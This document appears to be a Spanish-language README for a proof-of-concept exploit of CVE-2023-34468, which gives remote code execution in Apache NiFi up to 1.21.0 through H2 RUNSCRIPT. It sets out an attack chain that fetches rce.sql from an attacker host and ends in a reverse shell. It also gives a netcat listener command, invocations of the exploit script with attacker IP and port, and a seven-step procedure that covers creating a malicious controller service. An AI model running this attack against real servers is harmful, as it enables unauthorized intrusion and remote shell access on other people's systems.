
PoC exploit para CVE-2023-34468 — RCE mediante H2 RUNSCRIPT en Apache NiFi <= 1.21.0
Ejecución Remota de Código mediante H2 Database RUNSCRIPT en Apache NiFi <= 1.21.0
Apache NiFi incluye por defecto un JAR de base de datos H2 empaquetado. El servicio controlador DBCPConnectionPool
puede configurarse para usar este driver H2. H2 soporta una sentencia RUNSCRIPT
que obtiene y ejecuta un archivo SQL desde una URL remota. Ese archivo SQL puede definir
código Java arbitrario mediante CREATE ALIAS y ejecutarlo en el sistema operativo del servidor.
Cadena de ataque:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| Software | Versión |
|---|
| Apache NiFi | <= 1.21.0 |
| Corregido en | 1.21.1+ |
| Java | Cualquiera (empaquetado) |
requests → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
| Argumento | Por defecto | Descripción |
|---|---|---|
--target | http://NiFi.target.com | URL base del NiFi objetivo |
--lhost | 10.10.10.10 | Tu IP (tun0) |
--lport | 4444 | Puerto de escucha del reverse shell |
--http-port | 80 | Puerto para servir rce.sql |
--cleanup | False | Eliminar los artefactos creados tras la ejecución |
Terminal 1 — listener:
nc -lvnp 4444
Terminal 2 — exploit:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 Check anonymous access and write permissions
Step 2 Get root Process Group ID
Step 3 Create malicious DBCPConnectionPool controller service
Step 4 Enable the controller service (handles revision versioning)
Step 5 Create ExecuteSQL processor pointing to rce.sql on our HTTP server
Step 6 Start the processor → NiFi fetches rce.sql → shell callback
Step 7 Cleanup (if --cleanup flag is set)